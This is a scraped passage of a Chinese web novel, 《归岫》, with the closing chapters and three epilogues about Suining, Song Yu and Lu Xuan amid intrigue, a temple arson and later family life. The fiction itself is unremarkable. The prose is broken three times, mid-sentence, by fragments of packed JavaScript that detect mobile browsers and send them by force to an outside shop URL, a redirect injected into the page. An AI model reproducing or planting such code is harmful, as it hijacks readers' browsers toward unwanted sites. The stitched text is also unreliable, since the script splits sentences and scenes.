岁宁轻哼一声,道:“便知你是个靠不住的。” “我?”宋聿被她这幅语焉不详的样子气笑了。 “那公子到底还想不想听?”她问。 “想。”他如实道。 岁宁叮嘱道:“那么公子戌时再来寻我,切莫让旁人知晓。” “好。”他一路腹诽,低低应道。 东方月上,月光照得庭前如同白昼。 窗牖透着微微的烛光,伏案的人影映在窗纸上,随烛火的跳动而摇晃。 宋聿盯着那信纸沉默半晌,话语中似夹着些许失望。 “这便是你那要紧之事?” 分明可以光明正大说的事,却让她搞得同做贼一般心虚。 “嗯。”岁宁郑重地点了点头,道,“荆州要乱了,不知他的野心离江州还有多远。” 宋聿问:“你从前也是这般与陆宣密谋的吗?” 昏暗的灯火下,她将头埋得很低,看不清什么神情。只听她怨怼:“提他做什么?” 她叹道:“公子该劝姜太守早些囤粮,布设城防,荆江还有千千万万个陶庚。陆灵远想借此机会,将宋氏在荆州的基业连根拔起。” “你不是怨恨宋氏么?为何还要告诉我?” 岁宁支着下巴,眨眼沉思:“兴许是因为——我觉得公子是个极好的人吧,所以才会在乎我这样的庶民。” 宋聿很想告诉她,其实她想错了。他亦是有所图谋而已。 世间没有权贵会这般慈悲,大发善心之人守不住权势与富贵。 可是望着她那双干净澄澈的眼睛,蜡烛火苗在她瞳孔中攒动,他便不忍心将实话宣之于口了。 岁宁又说:“许久不曾有过丰年了,不是因为天灾,便是毁于人祸。我不想见陆氏的铁骑踏平安陆城的稻海,不想见它变成我的故土那般……” “这些不是你我所能左右的事。明面上,不会有一个家族愿同他拼得鱼死网破。”宋聿静默了片刻,说道,“但我答应你会守住武昌,保住安陆,好么?至于流民反叛的事,外祖会去和江州刺史谈。” “此外,我还有个条件。”他说。 “什么条件?” “我要你留下。” 岁宁抬眸望着他,眼中闪过一丝惊讶。 “如此,我才能确保你不会重新站在陆氏那边,毕竟你不是第一次坑害我了。”他是这样解释的。 “好。”话音落下的间隙,她便满口答应下来。 若能还荆江一片净土,让她一辈子留在安陆城种田钓鱼她也乐意啊。 天底下再没有比这划算的买卖了。 宋聿的眉眼都舒展开来,在摇曳的烛火中,平静又柔和。他垂眸轻笑:“还有没有别的事要告诉我?” 别的? 岁宁瞬间明了,原来他还想听些好听的真话,可惜没有。不过好听的假话她倒是可以说很多。 于是她说:“我还欠公子一件事,公子可想好了,要我做什么?” 23. 神佛不护佑,自有君佑之 《归岫》全本免费阅读 狭窄黑暗的屋内,只余几缕白茫茫的天光渗漏进来,更显阴冷。分不清是陆府还是刑室。 “叛徒。” 那声音温润而沉重,不带一丝怒意,却又令人胆寒。 岁宁循声望去,那白衣胜雪的男子亦低头看她,宛若菩萨低眉,隐匿在暗处。不含人情的眼里,住着位杀神。 她一生大逆不道,不曾惧怕过权贵,唯独对此人的恐惧,刻进了骨髓里。 目光穿过此人,看到他身后的侍从,手捧着托盘,其上呈着杯毒酒。 鸩酒? 可此人不会给她个痛快,那只会是催人肠断,慢慢将人折磨致死的毒药。 自腰间垂下的绦穗随下裳摆动,那人端着毒酒,一步步朝她走近。苦涩的汤药味萦纡在鼻尖挥之不去,岁宁挣扎着掀翻了杯盏。 耳畔传来的却不是金银器哐当坠地的声音,反倒像瓷器碎了一地。 她醒了,一夕惊魇而觉,慌忙地撞入了某人满怀的甘雨柔风。 婢子匆忙入内,询问:“公子,发生了何事?” 宋聿轻叹了口气,道:“无事,再去端一碗药来吧。” 岁宁看着被她打翻在地的药碗,地砖上青瓷碎裂,褐色的汤药洒了一地。此刻胸膛起伏,仍有余悸。 掌心的温热自后背传来,岁宁听他温声问道:“魇着了?” “嗯。”她含糊答着。 天早就黑了,唯独床前燃着豆点烛火,却也将要燃尽。 “没事了。” 宋聿轻拍着她的后背,像许多年以前的那个冬夜,守在她的床前。 他又道:“药没煎好,要再睡会儿吗?” 岁宁抚了抚心口,脏腑依旧隐隐作痛。她摇摇头,道:“不太好受,怕是睡不着。” 床帏下,灯烛前,满屋清苦的药气之中,听他愁叹:“为何你总是多灾多病,运气这般不好?” 世间庶人不及富与贵,缺衣少食,自然多灾多病。 岁宁是预备这般回答他的,可又见他眼中满含愁绪,欲将垂泪泣涕,便又换作了玩笑话。 “许是因为当年偷吃了神祠的贡品,净山寺中不敬佛陀。” 他便也眉目舒展,道:“难怪神佛不佑你。” 她淡然置之,“与其信神佛,还不如相信公子。” 岁宁还想说,其实她运气足够好了,才能活到现在。不若如此,便是人肉锅里,乱葬垄中,也难寻她。 “从前怎么就不愿信我呢?”他笑着笑着,便又觉得苦涩起来。 每当想起那个雪夜,他终究还是有怨。 没等她回答,床前的烛火先熄了,只余下伸手不见五指的黑暗。 “我去找蜡烛。” “公子当心。”岁宁捉住了他的手腕,小声道,“地上的碎瓷未收拾。” 宋聿便任她拉着自己的手,坐回床沿。不慎扯下了床帏的系绳,整面帷帐都垂下,帘上的珠玉碰撞,锒铛作响。 一帘之隔,耳畔传来她幸灾乐祸的轻笑。 屋外虫鸟嗡鸣,夏夜里的风揽过树梢,卷落一地的叶。窗外杂声填满了二人沉默的间隙。 直至婢子端来新的汤药,灯火才又将缱绻驱散,将漆黑照亮。 翌日,又请医者来诊脉。 宋聿问他状况如何,医者却支支吾吾说不出个所以然来。号了许久的脉,才听那年过七旬的老医者迟疑开口:“敢问夫人……” “她尚未成婚。” 医者忙改口:“容老朽冒昧问一句,女郎此前可曾服用过寒性的药方?” “只昨夜开了一副温中散寒的方子。”宋聿道。 医者捋了捋胡须,又询问道,“公子再好生想想,除此以外当真没用过别的药?诸如避子所用的药方,皆属寒凉之物……” 床帏遮掩下的人影动了动,只听她如实道:“有过的,约莫一月前,服过避子药。” “那便是了。”老医者长舒了一口气,与她谆谆叮嘱,“女郎以后切莫再服食此类药方了,且还需好生调养,不若如此,恐难有子息。” “昨日开的药方,早晚各煎一副,再服七日,便可缓和。” 岁宁微微颔首,道:“我知晓了,多谢老先生。” 宋聿却觉如鲠在喉,她还真是……足够坦诚,连隐瞒都不愿。 “若无旁的事,老朽先行告辞。”老医者提了药箱,便起身将离。 “我送您。” 宋聿一路送着老先生到院门口,又给了些赏银。 走回房门前的那几步路,他好似要将这几年所有可能发生的事都猜了个遍。 她曾在陆府经历过什么? 此刻若是问起,说不定是在揭她的伤疤。 罢了,他真正在意的不是这个,而是……哪怕她待自己有一丝真情也好啊。 可事实是,她不在乎世俗的眼光,不在乎旁人对她的看法,也不在乎他。 不是都说好了,只愿她此生无虞就够了,其余的他都可以不在乎。 想到这里,宋聿停在了门前,没有走进去。 他背靠着墙壁,把头埋进臂弯里,错杂的眼睫之下目光幽深,藏不住沉重的心绪。 怎么可能不在乎? 直到屋内人问起:“公子在外面做什么?” 宋聿这才拂去衣上的浮尘,推门进屋。 岁宁捧着本书,披了件外袍,斜倚在榻上。清瘦的面容较之前几日添了几分病态的苍白,青丝也不曾绾,就这么散落在两肩。 他在离她不远处的书案前坐下,问:“你可有什么想同我说的?” “说什么?”她低头看着书,连眼皮都没抬一下。 “在外祖母那里听了我那么多笑话,那你愿不愿意同我讲讲,你的从前?”他是这般曲折迂回地开口的。 既然他都主动问了,岁宁便合上书,细数往事。 说她怎样在深山密林里藏身,在冰天雪地里爬滚。讲她怎么从乱葬垅爬出来,扒下死人的衣服御寒。最后说她是如何走过茫茫雪地,穿过被糟践一空的农田,被途径的世家女公子捡回了建康城…… “幼时厌倦在北方的冬日,因为手上总会长满冻疮,那时想着,等到逃到南方便好了……原来南方也会下雪,原来苦寒无关地域,人们总有一个又一个难捱的寒冬……” 她又清醒地意识到,“又或许,难捱的不是寒冬,是穷苦。” 如今想起这些苦难之时,她不再难过,也不再落泪了。 “后来呢?” “后来从杨府到了宋府,逃出去之后,又到了陆府。”说到这里,她话锋一转,“思来想去,还是宋府的奴婢最难做。” 这话与宋聿想听的不太一样。 “我待你,有这般差吗?”他垂下眸,眼睫轻颤。 “莫不是忘了,除去在常青院的三月,还有在合昔院的三年。”岁宁笑道,“所以,这与公子有什么关系呢?” “怎么没关系?”宋聿眼中又陡然生出几分落寞。 岁宁瞧他又是这幅模样,嫌弃地翻了个身,自顾自翻书去了,只留个背影对着他。 她早说这些世家子弟一个比一个矫情,竟叫一个病人耐着性子同他谈些儿女情长,当真是强人所难。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12802948|131132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陆宣问:“你当真全然不晓吗?” 她愣了愣,随即落下了最后一颗棋子。 “还是那句话,我与陆二公子之间,只容得下共同的利益。” 安陆亦是一片银装素裹。 怀澄园外拴了一匹青骢马,马儿也在雪天里冻得直呼白气。 庭院的雪地上留下一串脚印,青年执伞迎出门来,见着立在门口的女子,不由怨道:“为何不早通知我,使我不得远迎?” 岁宁笑道:“我怕夫君的远迎,是远赴西陵去迎接我。” 他攥着岁宁冻得通红的指节,领着她一并穿过低啸的风雪。 “此去西陵千里迢迢,一路风雪交加,当真是疯了才会骑马回来。” 屋内炭火已经升起来了,岁宁解下雪帽,脱下斗篷,细细掸去身上的雪粒,拢袖坐在火炉旁。 她说,“无妨一路风雪紧,但愿瑞雪兆丰年。” 见他眉宇间的哀怨消散不去,岁宁便又说道:“更何况,冬至快到了,车驾太慢,唯恐愆期。再者,想着是为见你而来,一路便不觉得风雪凛冽。” 他闻言淡淡一笑:“我以为商人重利轻别离,没成想还记挂着我。” 炉中炭火“噼啪”作响,燃得正旺。烟气燎了上来,岁宁背过身去,被烟呛得直咳嗽。 “又犯咳疾了?” “没有。” 他出门唤人去烧些热水,再回来时,她已抱着狸奴在炉边烤火。 围炉坐谈间,她与宋聿讲了许多荆南之行的见闻,然后又问他今年安陆的境况如何。 宋聿答:“今年收成不错,万亩丰登,也无流寇来犯。” 说着,他又低头看了看岁宁怀里的狸白小猫,补上一句:“更无硕鼠偷粮。” 岁宁道:“荆南也大抵如此。只可惜——哪怕盐粒如积雪,米粟成山,江水皆是酪浆,百姓也难分上一口。究其缘由不在粮食多寡,凡是可图谋的利,都掌握在了上位者手里罢了。” “唯有自然之物,最是公平。江上清风,山间明月,从不独属于一人,能教世人都分得几分月魄。愿世间君子也如皎皎明月,好将碗中琼浆多倾与世人一些。” 宋聿静默地看着她,听她一字一句描绘心中愿景。火光映在她眼眸中,潋滟生光,看得他恍了神。 她眼中有山川草木,日月星辰,分明没有半分野心,却好似将世间万物都囊括。 或许有的人生来就属于广袤的天地。 岁宁又转而看向他,“数月不见了,除了寄去书信几封,你都不说想我。” 宋聿道:“说了也无用,你又不会抛下荆州的事回来寻我。你想做的事太多,只能匀出些时间与我。” “有怨否?” “不怨。”他只笑着摇了摇头,又将她的话复述一遍,“江上清风,山间明月,从不独属一人,可谁叫我心愿归明月。” 岁宁玩笑道:“那这‘明月’还挺过分的。” 她放下了狸奴,又挨近了些,近到可以看到他眼中闪过似有若无的光,在她的打量中垂下眸,睫毛轻颤。 他低头笑说:“哪里过分?若万物皆逝去,卿尚在,我亦陪伴左右。若万物虽在,卿今去,则天地皆化为无名,身存魂亡。” 岁宁眉眼含笑:“想挽留我的话,直说舍不下我便好了,不必又遣这些文绉绉的语句。” 他拨开厚重的裘衣,捂着她些许发凉的双手,虔诚道:“谁叫夫人归来晚?欲走之时,也留不得。” 岁宁回握住他的手,许诺道:“下次,我一定早些回来。” 那日檐下细雪,拥氅衣炉火。 冬日里卸下了俗务,难得清闲,狸奴在怀不翻书。 ——正文完—— 65. 番外一 太兴三年春。 建康城外有一地母庙,门上楹联载,“后土富媪,明昭三光。”是为护佑阖境安宁,保四方太平的土地神祇。 素来灵验,是以京城百姓常常结伴到此地上香。 黛瓦斑驳,烟火缭绕。空气中弥漫着浓重的香火味,与风中花香交织,静谧安宁。 地母神像前的供桌下,宿着一乞儿。 对乞儿而言,神祠的供桌,是为数不多可以称得上安全的地方。 有屋檐避雨,有桌布藏身,有贡品可食,还有神灵庇佑。何况看管地母庙的香主每每洒扫,也只扫自己看得见的地方,不去管那些落灰的角落。 然而乱世之中,哪怕是肃穆的神佛前,也充斥着荒唐。 庙里养着许多妓子,专门侍奉来此上香的贵族,哄骗他们给祠庙多捐香火。 每至入夜,庙里便充斥着娇声曼吟,不堪入耳。 最初只是在神庙的耳房,后来愈加放肆,在神像前,乃至供桌上…… 神佛无罪,人性肮脏。 乞儿很快就待不下去了。 三月春光,祠庙墙角添新绿,偶有杨絮随意飘落,乘风自由。 微风拂罗袂,豆蔻年华的少女在一众侍女的簇拥着,从杨柳树下过,引得膏粱子弟注目,惊艳人间春色。 那是杨氏的女公子,趁着花朝时节,与友人结伴踏青。 墙角的乞儿也迷了眼,只觉得这样美好的人,不该出现在这肮脏的地方。 有少年携玉兰相随,杨絮笑他:“每日都送我玉兰,怕是阿宣院里的玉兰树都被折光了吧?” 少年只道:“你不去陆府看花,我只得携花来见你。” 皎皎玉兰花,灼灼有辉光。 彼时陆氏二公子不曾提起刀剑,也只是个书生意气的少年郎。 杨絮见地母庙前的木柱为雨水所腐蚀,便往功德箱里投了许多银钱,叮嘱庙里的香主择日将此庙修缮一番。 香主忙赔笑着说“好”,又阿谀道:“女公子虔诚心善,地母娘娘定会佑您平安常健,世事遂意。” 杨絮同香主回礼,笑说:“承您吉言。” 她与友人入庙上了三炷香,又跪在神像前,顽皮地看着身侧之人静默祈祷。 “阿宣思量了这么久,不知祈了什么愿望?” 少年答:“愿年年岁岁如今朝。” “啊——”杨絮故作感叹,“我不过随口一问,你真说出来了,怎堪灵验?” 少年道:“若我心口不一,那才不堪灵验。” 少时情谊最为真挚,相坐柳树下,言笑吐芬芳。 起身欲归之时,听到祠庙里传来打骂之声: “我便说桌上供着的瓜果怎么日日都见少,原是都被你这小贼给偷吃了!” 乞儿蜷缩在墙角,任由香主拳打脚踢,一声不吭。 曾自北向南跋涉八百里,她从乱葬垄里爬出来,扒下死人的衣服御寒,身上所有的一切,果腹的吃食,甚至于名字,都是偷来的,从不属于她。 少女上前制止,冷声质问:“何故动粗?” 香主见了贵人,忙改换了一副好颜色,陪笑道:“女公子有所不知,这叫花子藏在供桌底下偷吃贡品,被我抓了个正着。” 杨絮却说:“想来是饿极了才会如此。地母娘娘慈悲,不会怪罪饥寒之人,将食无灾。” 身侧的少年笑道:“你何时能揣测神仙的心意?” 于是遭了她一记白眼。 少年随手摸出几两银子递给香主,吩咐道:“你回头再添些贡品便是了,不必与之计较。” 香主接了银子,忙笑着说是。 少女捡起地上滚落的李子,就着袖子擦了擦,递给墙角的小乞儿,笑意温和:“无事了,吃吧。” 乞儿道:“多谢贵人。” ? 杨絮问她:“你叫什么名字呀?” 乞儿捏着李子一语不发,茫然摇头。 “没有名姓,可有家人?” 她依旧摇头。 杨絮问:“那你愿不愿意跟着我?” “一、二、三、四、五……”少年点了点跟在杨絮身边的侍女,笑着揶揄道,“呦呦呦——大财主,这是第几个了?” 杨絮道:“我乐意,你管的着吗?” 乞儿如在梦中,不知是怎么入了贵人的眼,跟随她离开的。 只觉得这般明艳大方的少女,便是骄阳也该逊色三分的。 出了地母庙,与那少年分道扬镳,乞儿几经思量,才道:“贵人,以后不要往地母庙捐香火了,那祠庙里的人,夜里总做些不干净的勾当。” 杨絮身边的侍女出声喝止:“休要多嘴!” “哦?”杨絮问她,“什么不干净的勾当?” 乞儿道:“地母庙里的女子,都是妓子。” “这样啊——”少女面露难色,若有所思。 后来,她确实没再去过地母庙。 不久,香主的勾当败露,去地母庙里上香的香客少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12864266|131132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,原本私底下的交易索性不加遮掩,这座祠庙彻底成了靡靡之所。 乞儿心想,其实庙里的地母娘娘也很可怜吧。 —— 太宁元年,徐杨两家联姻,杨氏的女公子嫁给了徐氏二公子徐晔。 时隔三年,少年再度去到地母庙。故地重游,那时他想着,最后一次替她祈福。 只是他不曾料到,那里已然成了纵情声色的风月场所,如此肮脏之地,承载不了少年人最为纯粹的愿景。 也难怪,他所许下的愿望不曾得以实现。 那一日他驻足站在神像前,看地母娘娘低眉,泥塑的神像染上了苔痕,不论是面庞,还是眉尾,好似在叹息。 大火燃了一天一夜,房梁倒塌,屋檐坠地,将一切都烧得干干净净。香主、妓子、虚伪的香客无一幸免。 是不是只有这样,才能落得个清白? 少年不知。 他只知自己再也没有信过神佛。 少年不曾去质问杨氏的女公子为何嫁与他人,他何尝不明白江东与北方世家之间的矛盾,却只得宽慰自己,是陆氏门庭不显,杨氏才放弃了陆氏,选择了与徐氏联姻。 于是他执剑戟,上沙场,舍身陷境,替陆氏求取功名。 后来,陆氏一族在平叛中立了功,收获圣眷与民望,族中子弟皆加官晋爵。在这“王与马共天下”的时局之下,陆氏已是显贵一时。 可是怕给她招来闲言碎语,陆宣再也不曾见过杨氏的女公子。 某一个他北上平叛的冬日,故人与世长辞。 心中的信念轰然倒塌。 姻缘美满是假的,长命百岁亦未成真。 那样一个如火明媚的女子,走得并不体面,乃至沦为了京城人士茶余饭后的谈资。 在净山寺造一场大火,收集徐晔贪腐的罪证,使其被贬离建康,又设计引诱徐晔到夷陵城去…… 他曾想尽办法去取徐晔的性命。 只不过,徐晔最终死于一女子之手。 一箭穿心,倒是便宜了他。 —— 咸和二年春。 那一日大雨,陆宣也因日夜行军而恍惚。 直至在历阳城的项王亭中,陆宣如何不记得当年躲在地母庙供桌底下的小乞儿,只是那小乞儿早记不起他了。 神祠中的贡品,将食无灾。 许多年以前,也有个人说起过同样的话。 神佛如何会计较? 神佛也无力去管。 66. 番外二 太兴二年,仲秋。 沿途饿殍,千里白骨。 与家人走失的小公子被一道人携了去,几经周折,踏入京华尘土。 宋聿抬头看着巍峨的府门,他读过书,识得“宋府”二字,坐落于建康城的府邸,却与记忆中的青州宋氏相去甚远了。 他与先生从白天等到日暮,等到那雍容华贵的妇人从府门前走过时,才敢扑上去唤一声“阿母”。 于是他看着妇人眼中的神色,由嫌恶、错愕,转变为难以置信的惶恐。 没有失而复得的欣喜。 母亲翻开他的衣领,清楚地看到后肩上的痣,才死死将他拥入怀里,哭倒在地,声泪俱下诉说她这些年的悲恸与凄苦。 是日夜里,妇人流干了泪,守在他的床榻边,仿佛流干了泪,要将此生的愧疚都说尽。 宋聿也在她的哭泣中拼凑了一个完整的真相。 原来他不是与家人走丢了,是在逃难路上被家人舍弃的。 抛妻弃子,易子而食,在南渡途中司空见惯。 他哭着说,“不妨事,不曾怨过阿母。” 周其清见这孩子得与父母相认,翌日便请辞了,只是宋孟贤与姜韶都恳切挽留。 他们一个说:“周先生不仅佑得我儿安然无事,又千里迢迢带他回道宋府,于我夫妇二人有恩,于情于理,都得给我们一个报答的机会才是。” 一个附和:“正是。先生乃是寒士,只怕一身报复施展不得。宋氏愿行供养,也请先生教导我儿。” 周其清望着权贵之人眼中不容拒绝的神色,又低头看了看那紧攥着他手的孩子,最终轻叹了口气,应了下来。 最初,他们也确实对周道长以礼相待。 那恭顺温和的长子,又是如何养成一副桀骜的性子,与家人招致不睦了呢? 许是因为看到了宋氏谱牒中,那划去了,又被添上的名字。 又或许是无意中听到了府中下人的口舌,亲生父母以小人之心度君子之腹的言辞。 世家大族,如扎根的树,外表枝繁叶茂,却是由内而外腐朽的。 宋聿常到栖春居去,与先生诉说他的苦闷。周先生不愿向其施加孝悌的枷锁,便同他讲孔文举的“父母无恩论”。 后来有个叫玄英的婢子向夫人告了密,也不知是怎样一番添油加醋,惹得姜夫人大怒,先生从此被圈禁在栖春居。 那些婢子都被他赶出了常青院。 他想着,自己该早些知世故、明事理。心照不宣地瞒下过往芥蒂,对府中腌臜视而不见,对父母的教训阳奉阴违。 如此,便可令身边人少些搓磨。 ?? 奈何年少气盛,他总要将心中不忿宣泄一番,为公道人心据理力争。 到头来,无一例外,争论无果。 从此,他也将自己封闭在常青院,不问旁事,只困守那一亩三分地。 又一年冬,常青院新来了个婢子。 先生常说,字如其人。她的字很漂亮,只是其人品……年纪不大,倒是世故圆滑、首鼠两端、阳奉阴违……这些鄙薄之词用以形容她,倒是十分贴切。 宋聿也不知晓,当时是怎么鬼迷心窍,才留下了她。 窗外的雪簌簌落下,宋聿坐在书房,透过窗,恰可以望到独坐廊下的她。 她总在望着院墙之外的风景,不是在看雪,而是在看远山。 —— 建康城外有佛寺三百余座,王公贵族争相竟造寺院浮屠。 寺院金碧辉煌,烟雨楼台华丽无比。 寺庙里的僧尼得了贵族捐赠,多聚蓄委积,颐养有余,抑或是指掌空谈,坐食百姓。净山寺更是僧业富沃,占田宅百顷。 神佛无辜,有罪的是假借神佛之名谋取私利的僧客与地主。 或许岁宁此一生都与神佛有缘,偏偏她又屡次在神明面前犯下忌讳。 虞,有忧患之意,接虞之山,也并无什么好的寓意。可世人偏爱到此山的净山寺去求神拜佛,祈一个祛病弗灾。 若放在平时,岁宁不会有机会离开宋府,看到高墙以外的世界。 这一次随姜夫人到净山寺替二位公子祈福,只是因为玄英刚刚被赶出常青院,被打得体无完肤。刘管事在夫人面前提了一嘴,于是本该是玄英的差事,轮到了岁宁。 可也不见得是什么好差事。 尚在山脚下时,便有僧客迎上前来,一路牵引。 僧客道:“夫人今年是第二次到净山寺来了吧?” “是。”姜韶道:“上月我儿发了恶疾,今日特为他祈福而来。” 僧客道:“夫人金枝玉叶,何苦亲自叩拜?” 姜韶道:“母子不和,家中不睦,唯恐是我在佛前诚心不足。” 僧客便劝道:“夫人捐了田宅,诚心已至。可请旁人代为叩首,亦能为二位公子求得平安。” 岁宁不可置信地看向那无穷无尽的山阶,你认真的? 既要跪石阶上山,到了寺院里还要抄经祈福。岁宁总算知晓了,好端端的这差事怎会落到她头上。 宋府识字的下人如凤毛麟角,她算是其一。 宋聿,抄写经文的时候,是岁宁第一次听闻这个名字。 聿者,笔端也。天地广阔,万物纷繁,皆可收录于笔下。 可岁宁没由来地讨厌这个字。 不论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12881171|131132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在山道中,还是满殿的神佛前,岁宁都不曾为这个名字虔诚,只在心中骂骂咧咧,走完了一路。 于是后来每次看着那平安符,她总说自己心不诚,大抵是求不来什么的。 不论怎么劝他丢掉,他都不曾这么做。 —— 后来逃出了宋府,岁宁也曾再度去过净山寺。 陆宣不曾说明缘由,只让她去放一把火。反正那些僧客也算不得什么好人,岁宁只当是惩奸除恶了。 上山的途中,她看见一个痴儿一步一叩首地祈祷。 她若无其事地从那人身旁走过,将他甩在身后了。 那天是四月初八的佛诞日,许多人到净山寺去听高僧诵经。上至士族,下至平民。 徐晔也在其中。 岁宁好像知晓陆宣想要谁的性命了。 寺院香火极盛,掩盖了桐油的气息。岁宁绕过低头诵经的一众僧尼,藏在巨大的佛像后。 微热的午后,在千佛殿听经的香客有些昏昏欲睡,忽有只硕鼠蹿了出来,撞到了香烛,火舌顺着经幡蔓延,很快烧上了浇了桐油的梁柱。 大殿中的僧尼与香客四处逃窜,岁宁想全身而退时,正门与窗户却都从外面封死了。 屋内黑烟滚滚,很快有僧人察觉到千佛殿的动静,提着水桶去救火。 正门的梁柱倒了下来,彻底拦住了前门的去路。 岁宁则在佛像后用匕首一下又一下地凿着窗户。 浓烟呛得她直咳嗽,忽然有个人过来,欲揭下她的幂篱,被她慌忙拦下。 那少年却说:“你戴着这个,极易引火上身。” 岁宁没说话,他便也不再理会,只接过她的匕首,砍断了卡在外面的木拴。 破开窗户,他还不忘扶起这场火情的罪魁祸首一起逃出去。 隔着幂篱的轻纱,岁宁看着眼前人清冷的眉目,泪水几欲决堤。 她太想念这张脸了。 情急之下紧攥着他衣袖的手也不舍得撒开。 宋聿盯着落在他袖角上的那只手,眉心陡然皱起,毫不客气地推开了她,正色道:“女郎君,自重。” 少年的视线没有在她身上停留,也并未认出她。 只是顺手而为之的搭救罢了。 她还停留在原地,直至那个少年撇下她兀自走远。 最后陆宣来寻她,见她一身狼狈模样,不忍笑她:“看来是我高估了你,谁教你从屋内放火的?” 岁宁讷讷地望着他,没有解释一个字。 陆宣有些慌了神,分明没有责怪她,也没有说一句重话,她却哭了。 隔着幂篱的轻纱,见她默默落泪,没有声音。 67. 番外三 年年陇上稻花开,宋聿携着幼女去安陆城外的田地里寻岁宁时,总会同她说起,她有天底下最好的母亲。 自打阿禾记事时起,母亲从未歇下来过。 她要么整日在书房看公文,要么到田间与农人讨论来年收成,就好像是这一辖区内“保四方清净,佑五谷丰登”的神仙,管着安陆城内婚丧嫁娶、鸡鸣狗盗的大小事宜。一年之中,还有三个月会去荆州忙着打理产业。 她横在江东士族与北方世家之间,整整三年,陆氏与宋氏没再起过争端,荆江一带也不曾生出战乱。 宋聿说:“她总是浸在尘世一堆芝麻烂谷子事里,风尘劳攘,却乐此不疲。” 阿禾说:“可安陆的百姓,没有不喜欢阿母的。” 他笑说:“阿父也喜欢。” 父亲爱重母亲,而母亲更爱安陆这四方无虞的太平之景。 阿禾突然想起,她更小的时候,趁阿母不在,偷玩她妆奁里的胭脂。 洁白的珍珠粉,桃色的脂粉,还有朱红的口脂,掺杂着百花香气。 擦完了胭脂,稚女心满意足出门去。 宋聿见她脸上一块红一块紫,忙问她:“是不是摔着了?怎么落得这般模样?” 阿禾怕阿母知晓了会生气,便扯谎说自己是从树上摔下来了。 宋聿一阵心疼,便用热水湿了手巾,给她热敷。 敷着敷着,手巾染色了…… 后来阿禾还是没逃一顿打,阿母没有生气,她是被阿父罚的。 属于母亲的东西若是独一份,便不容他人染指的。槐花树下的那架秋千便是。 尽管岁宁从不在意这些,可是送她这些东西的人会在意。 走到田垅上时,恰见到江边的女子收竿,又空了钩。她也不恼,与一旁的同僚闲聊几句,又挂了饵,甩竿出去。 宋聿推了阿禾一把,道:“去问问你阿母,今日钓上来几尾鱼。” 阿禾道:“你怎么不自己去问?” 宋聿道:“若她不曾钓到鱼,便该觉得我是为看她笑话而来了。” “定是你从前常常揶揄她。” 论及互相挖苦,宋聿道:“我与她,平分秋色。” 不过说话的本事,还是她更胜一筹。谁叫她一开口就能噎死人呢? 待走近了,看到鱼篓中收获颇丰,他才暗自松了口气。 她聚精会神盯着鱼竿,未曾发觉身后来了人。还是身边的同僚突然起身与宋聿行了礼,唤了声“宋府君。” 岁宁才缓过神来,回头看他们,笑问:“你们怎么来了?” 宋聿道:“盼夫人早归,为夫今日亲自洗手作羹汤。” 阿禾附和道:“阿父备好了新鲜的菌子,等着阿母钓鱼回去,煮一锅菌菰鱼羹。” “这样啊?”岁宁偏着头看向宋聿,“若是我没钓上来鱼呢?” 他说:“那就只能宰只鸡凑合了。” 闲聊的间隙,鱼竿传来些许动静,岁宁提竿收线一看,又是一尾小鱼。 再抬首时,撞见身侧之人期待的眼神。 她说:“回去了。” 他笑着说好。 辞别了依旧垂钓江岸的同僚,一家三口沿着盈满稻香的田垅缓缓而归。 鳞鳞夕云起,猎猎晚风遒。 杂役在府邸门前掌上灯烛,迎着晚归的几人。 趁着夏日夜幕落得迟,便在庭院的槐花树下摆了饭食。 石桌上还散着夕阳余热,喧闹的蜂群环绕在槐花枝头,嗡鸣声与槐花香一并氤氲着,久久不去。 夏风时不时择一朵落花,赠予树下纳凉人。或铺在石桌上,或跌落碗中,或憩息在肩头。 岁宁捻去琉璃杯中的落花,嗅着淡淡酒香,在一袭醉人的花香中,稍有醉意。 宋聿笑问:“府里新酿的蒲桃酒,滋味如何?” “蒲桃酒?”岁宁微微皱眉,转而看向右手边的杯子,清澈的薄酒之中淌着一片落花。 阿禾掩嘴忍笑,道:“阿母拿错了,这杯才是你的。” 心思玲珑如她,毫不客气地拆穿了这小孩:“是你故意换的吧?” 阿禾忙别过脸去,同宋聿小声咕哝道:“我便说她能猜出来……” 岁宁又看向罪魁祸首,问:“你支使的?” 宋聿也并无推脱之意,直言:“是。” 她怨责道:“晚上我还须得对账,你净知道作弄我。” “错了。”他低头道,“我不过想让你尝尝新酿的酒,绝无他意。” 见他认错这般干脆,岁宁也懒得和他计较,只说:“有些酸涩。” 宋聿又仰头看了看满树槐花,说道:“那便等秋日采了槐花蜜来,兑些到酒里。” 岁宁嘴角抽了抽,那还能喝么? 饭毕,吹了些许凉风,发散了酒意,不觉有些醉了。 树下悬一盏灯笼,惹得飞虫流连于光晕之中。 